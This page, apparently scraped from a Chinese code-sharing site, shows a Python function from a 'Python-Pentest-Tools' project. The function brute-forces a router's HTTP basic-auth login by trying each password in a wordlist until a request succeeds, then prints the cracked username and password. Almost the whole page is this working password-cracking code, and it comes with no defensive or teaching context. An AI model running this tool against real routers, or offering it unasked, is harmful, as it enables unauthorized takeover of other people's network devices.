brouter.py 文件源码

python
阅读 23 收藏 0 点赞 0 评论 0

项目:Python-Pentest-Tools 作者: proxyanon 项目源码 文件源码
def bruteforce(host, port, uname, wordlist):
    try:
        lista = open(wordlist, "r")
    except IOError:
        stdout.write(colored(" [x] Error opening word list\n", "red", attrs=['bold']))
        exit()
    url = "http://"+host+":"+port+"/"
    init = time()
    for l in lista:
        pwd = l.strip()
        try:
            r=get(url, auth=(uname, pwd), timeout=3)
        except:
            stdout.write(colored("\n [-] There was an error connecting to the router %s\n"%(host), "red", attrs=['bold']))
            exit()
        if r.status_code == 200:
            stdout.write(colored("\n\n [+] Cracked => %s:%s\n [+] Duration => %s seconds\n\n"%(uname, pwd, time() - init), "green", attrs=['bold']))
            lista.close()
            exit()
        else:
            stdout.write(colored("\r [-] Current login %s:%s"%(uname, pwd), "yellow", attrs=['bold']))
            stdout.flush()
    print ""
    lista.close()
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号